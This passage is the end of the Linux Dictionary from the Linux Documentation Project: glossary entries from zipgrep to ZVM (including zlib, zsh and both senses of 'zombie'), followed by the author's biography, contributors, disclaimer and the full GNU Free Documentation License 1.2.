zipgrep

search files in a ZIP archive for lines matching a pattern From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zipinfo

list detailed information about a ZIP archive From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zipnote

package and compress (archive) files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZipSlack

ZipSlack is a special edition of Slackware Linux that can be installed onto any FAT (or FAT32) filesystem with about 100 MB of free space. It uses the UMSDOS filesystem and contains most of the programs you will need. This means that you do not need to repartition your hard disk if you already have DOS or Windows installed. ZipSlack installs into a directory on your DOS filesystem. It can also be installed to and booted from a Zip disk. A Zip disk−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zipsplit

package and compress (archive) files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zircon

Powerful X Internet Relay Chat client Zircon has a tremendous array of features and its interface truly takes advantage of X. Zircon implements almost everything ircII does, plus a number of other interesting features. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZISC

Zero Instruction Set Computer (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zivot

the game of life, simple console version This is a variant of John Horton Conway's Game of Life (a classic cellular automaton), simple console version, written in FORTRAN. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zless

file perusal filter for crt viewing of compressed text From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zlib

Zlib is a general−purpose, patent−free, lossless data compression library which is used by many different programs. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zlib1

The zlib compression library provides in−memory compression and decompression functions, including integrity checks of the uncompressed data. This version of the library supports only one compression method (deflation), but other algorithms may be added later, which will have the same stream interface. The zlib library is used by many different system programs. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zlibc

Uncompressing C Library Zlibc is a preloadable shared object that allows executables to uncompress the data files that they need on the fly. No kernel patch, no recompilation of these executables and no recompilation of the libraries is needed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zmailer

Mailer for Extreme Performance Demands This is a package that implements an internet Message Transfer Agent called ZMailer. It is intended for gateways or mail servers or other large site environments that have extreme demands on the abilities of the mailer. It was motivated by the problems of the Sendmail design in such situations. ZMailer is one of the mailers able to deal with huge quantities of mail and is more efficient any other mailer, qmail included, mostly due to its excellent queueing algorithms. Most users don't need this package −− for most users, sendmail or exim or smail will suffice. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZMODEM

An synchronous file transfer protocol for personal computers that makes the error−free transmission of computer files with a modem easier. ZMODEM is a very fast protocol that lets you use wild−card file names for transfers. lt's also well−liked because you can resume the transfer of a file if the first attempt is interrupted before completion. Next to XMODEM, ZMODEM is the most popular transfer protocol and is included in most communications applications. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zmore

file perusal filter for crt viewing of compressed text From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

znew

recompress .Z files to .gz files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zoggy

OCaml LablGTK interface builder Zoggy is an interface builder (like Glade) generating LablGTK code. The differences with Glade are: generated classes can have parameters, values of properties are OCaml code, you can insert predefined boxes in other widgets. Zoggy also includes a library containing a class which can be used to edit Zoggy files in other applications. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zombie

A process that has died but has not yet relinquished its process table slot (because the parent process hasn't executed a wait(2) for it yet). These can be seen in ps(1) listings occasionally. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zombie

Computers that are 'owned' by hackers for the purpose of directing them against other victims. A typical example would be a DDoS attack, where the zombie machine are directed to flood a victim. The legitimate users of the zombies may not be aware that their computer has been controlled by the hacker. If the computer is used to launch a damaging attack, the legitimate user may be investigated or held legally responsible. Controversy: Dave Dittrich, the person who has done the most research into DDoS zombies, hates the word "zombie". From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zombie

n. [Unix] A process that has died but has not yet relinquished its process table slot (because the parent process hasn't executed a wait(2) for it yet). These can be seen in ps(1) listings occasionally. Compare orphan. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Zone

An area of a network under administrative or other control. In a name server configuration, a domain can be a zone. Zones can be further subdivided into subzones, each having its own administrators and servers. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zone−file−check

Syntax−checker for BIND zonefiles This script is used for syntax−checking your zone−files after a change. Useful when using Makefile to administer a large number of zonefiles, but also if you just want to check a single file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Zoo

A format for compression and archiving popular on Amiga systems, but also available for UNIX/Linux. Files packaged this way sport a .zoo file extension. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Zool Linux

Zool Linux is a project whose goal is to assist in making Linux mini−distributions, useful for floppy−based rescue systems, or to check hardware and network connections. It supports many different filesystems and utilities. Zool 1 is a Linux rescue disk based on the 2.2.23 kernel. Zool 2, released January 9, 2003, is based on the 2.4.18 kernel. Zool 3, released January 21, 2003 adds network support. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zope

An Open Source Web Application Server Zope enables teams to collaborate in the creation and management of dynamic web−based business applications such as intranets and portals. Zope makes it easy to build features such as site search, news, personalization, and e−commerce into your web applications. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZOS

Z/Operating System (IBM, Java), "z/OS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZPR

Zero Power Resistance From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZRE

Zero Rate Error From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zsh

A shell with lots of features. Zsh is a UNIX command interpreter (shell) usable as an interactive login shell and as a shell script command processor. Of the standard shells, zsh most closely resembles ksh but includes many enhancements. Zsh has command−line editing, built−in spelling correction, programmable command completion, shell functions (with autoloading), a history mechanism, and a host of other features. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZSL

Zero Slot LAN (LAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zsnes

Emulator of the Super Nintendo Entertainment System (TM) ZSNES allows you to play classic games writen for the "SNES" game console on a GNU/Linux system. It supports advanced features such as networking. Please note that many separately−available games playable under this emulator are non−free. See /usr/share/doc/zsnes/README.Debian for more information. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

zsoelim

satisfy .so requests in roff input From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZV

Zoomed Video (video) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ZVM

Z/Virtual Machine (IBM, VM), "z/VM" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

---

Appendix A. About the Author

Binh Nguyen was born, 26 March 1983, Melbourne, Victoria. He studied at St Josephs Marist Brothers College, North Fitzroy until receiving a scholarship to St Kevin's College, Toorak in 1998.

He is currently a university undergraduate studying computer science and physics at the University of Melbourne. His main interests in each area are in Operating Systems and Quantum Mechanics respectively.

His background is strongly biased towards science and mathematics. Nonetheless, he does have an appreciation for the arts, humanities and sport. A reasonably proficient musician (flute), he is currently pondering whether he should complete his musical studies to obtain a diploma so that he can teach. In high school, he was a member of the athletics, basketball, football, cricket and swimming squads. He speaks English predominately but is also able to communicate in Vietnamese and French. When younger he also possessed the ability to communicate in Chinese and Italian.

Although brought up as a Buddhist and studying at Catholic/Christian schools all his life as well as studying scripture during his final year of high school he considers himself an atheist.

At this moment in time, he works part−time as a (commercial) researcher/developer on Linux related projects with his current focus being on software distribution mechanisms.

Two of his technical documents have been incorporated into the Linux Documentation Project ("Linux Dictionary" and "Linux Filesystem Hierarchy", www.tldp.org/guides.html). Furthermore, they are being used as reference books in at least ten universities around the world (University of Southern Queensland (Australia), Universidad Michoacana (Mexico), Hong Kong Polytechnic University (Hong Kong), Universidade de Sao Paolo (Brazil), University of Southern California (United States of America), University of Wales Swansea (United Kingdom), University of Ulster (Ireland), Universität Duisburg−Essen (Germany), Universidad Rey Juan Carlos (Spain), Insituto Superior Miguel Torga (Portugal), and Universiti Sains Malaysia (Malaysia)). As well as this, he is also a Development Lead and Project Administrator of the "Computer Dictionary Project" http://computerdictionary.tsf.org.za/dictionary/index.html which is being supported by the Shuttleworth Foundation.

He has published articles at linux.com, linmagau.org, desktoplinux.com, newsforge.com, linuxtoday.com, linux.org, pclinuxonline.com, tuxreports.com, etc.... and has a keen interest in the latest innovations in science and technology.

The author's homepage is at, http://geocities.com/linuxfilesystem/

Appendix B. Contributors

- Martin Wheeler.
- Dale Rogers for participating in coverage testing.
- Anthony E. Greene for writing a program to help sort the dictionary into alphabetical order.
- Machtelt Garrels for writing a template program which allowed me to write a program to convert the original text file to Docbook.
- Chris Karakas for general troubleshooting.
- Greg Ferguson for general help in publishing this document.
- Andrew Laird for participating in coverage testing.
- Jason Hounam for participating in coverage testing.
- Ahmed Tanvir for participating in coverage testing.
- Dan Richter.
- Emma Jane Hogbin.
- Geoff Farrell.
- Neil Eagle.
- Rodolfo J. Paiz for advice in regards to maintaining this document.
- Ruth A. Kramer for advice in regards to maintaining this document.
- Saqib Ali for help in converting this document to various other formats.
- Scott Baust.
- David Horton.
- Kevin Solan.
- Que Anh.

Appendix C. Disclaimer

No liability for the contents of this document can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author does not and can not take any responsibility for any damage to your system that may occur as a direct or indirect result of information that is contained within this document.

Naming of particular products or brands should not be seen as endorsements. You are strongly recommended to make a backup of your system before major installation and adhere to the practice of backing up at regular intervals.

Appendix D. Donations

If you would like to make a donations towards this project please use Paypal, https://www.paypal.com.

Appendix E. Feedback

Further revisions of this document will be dependent upon user response. Any feedback on the content of this document is welcome. Every attempt has been made to ensure that the instructions and information herein are accurate and reliable. Please send corrections, comments, suggestions and questions to the author Binh Nguyen, linuxfilesystem(at)yahoo(dot)com(dot)au with the subject heading of Dictionary. There is, however, no guarantee of a response.

The author would appreciate and consider it courteous, notification of any and all modifications, translations, and printed versions.

Appendix F. GNU Free Documentation License

Version 1.2, November 2002

F.1. PREAMBLE

The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

F.2. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world−wide, royalty−free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front−matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.

The "Cover Texts" are certain short passages of text that are listed, as Front−Cover Texts or Back−Cover Texts, in the notice that says that the Document is released under this License. A Front−Cover Text may be at most 5 words, and a Back−Cover Text may be at most 25 words.

A "Transparent" copy of the Document means a machine−readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard−conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine−generated HTML, PostScript or PDF produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.

The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.

F.3. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

F.4. COPYING IN QUANTITY

If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front−Cover Texts on the front cover, and Back−Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine−readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer−network location from which the general network−using public has access to download using public−standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

F.5. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
D. Preserve all the copyright notices of the Document.
E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

H. Include an unaltered copy of this License.
I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
O. Preserve any Warranty Disclaimers.

If the Modified Version includes new front−matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties−−for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front−Cover Text, and a passage of up to 25 words as a Back−Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front−Cover Text and one of Back−Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

F.6. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".

F.7. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

F.8. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.

F.9. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.

If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.

F.10. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

F.11. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

F.12. ADDENDUM: How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

> Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front−Cover Texts, and no Back−Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have Invariant Sections, Front−Cover Texts and Back−Cover Texts, replace the "with...Texts." line with this:

> with the Invariant Sections being LIST THEIR TITLES, with the Front−Cover Texts being LIST, and with the Back−Cover Texts being LIST.

If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
